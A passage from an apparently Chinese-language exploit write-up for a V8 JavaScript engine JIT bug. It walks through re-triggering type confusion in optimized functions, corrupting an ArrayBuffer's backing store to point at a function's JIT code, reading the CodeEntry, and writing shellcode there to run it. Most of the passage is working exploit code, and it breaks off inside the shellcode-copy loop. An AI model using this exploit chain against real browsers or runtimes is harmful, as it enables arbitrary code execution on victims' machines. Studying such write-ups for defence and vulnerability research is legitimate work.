它会把null_string_addr作为一个指针,实际操作的是null_string_addr指向的内存 96 | 97 | 这里需要重新触发漏洞,我理解是之前n.xyz3赋值都是直接赋值,现在需要间接赋值,两者生成的优化后JIT Code不一样 98 | ``` 99 | ab_len_addr = decode_from_float64(get_arraybuffer_length_addr(ab_addr)); 100 | function Check2(addr){ 101 | m.xyz = 3.4766863919152113e-308; 102 | m.xyz1 = 0x0; 103 | m.xyz2 = 0x7000; 104 | m.xyz3 = addr; 105 | 106 | } 107 | Check2(ab_len_addr); 108 | Check2(ab_len_addr); 109 | %OptimizeFunctionOnNextCall(Check2); 110 | Check2(ab_len_addr); 111 | 112 | Ctor(); 113 | Check2(ab_len_addr); 114 | ``` 115 | 116 |  117 | 118 | ### 修改ab的backing store地址为evil_func地址 119 | 120 | 经过上面一步,ab_len_addr位于null string hashcode处,对xy1赋值会把ab_len_addr当作一个指针,实际会写入[ab_len_addr+8],也就修改了ab的backing store地址 121 | 122 | 同理,这里也需要重新触发漏洞 123 | 124 | ``` 125 | var temp = decode_from_float64(evil_fun_addr - 1); 126 | function Check3(addr){ 127 | l.xyz = 3.4766863919152113e-308; 128 | l.xyz1 = addr; 129 | } 130 | 131 | Check3(temp); 132 | Check3(temp); 133 | %OptimizeFunctionOnNextCall(Check3); 134 | Check3(temp); 135 | ``` 136 | 137 |  138 | 139 | 到了这一步,操作ab就等于操作evil_func! 通过ab,我们能读到evil_func的CodeEntry(第7个指针) 140 | 141 | ``` 142 | function get_codeEntry() { 143 | if(platform == "x86") { 144 | f64 = new Uint32Array(ab); 145 | return decode_from_float64(f64[7]); 146 | } 147 | else { 148 | f64 = new Float64Array(ab); 149 | return f64[7]; 150 | } 151 | 152 | } 153 | Ctor(); 154 | Check3(temp); 155 | var shellcode_entry = get_codeEntry(); 156 | ``` 157 | 158 | ### 修改ab的backing store地址为shellcode_entry 159 | ``` 160 | Check3(shellcode_entry); 161 | ``` 162 | 163 | 164 | ### 写入shellcode, call evil_func 165 | 通过上一步,操作ab就是修改evil_func的JIT Code; 我们将shellcode写入,再call evil_func 166 | 167 | ``` 168 | var shellcode = new Uint8Array(ab); 169 | for (var i=0, strLen=shellcode_str.length; i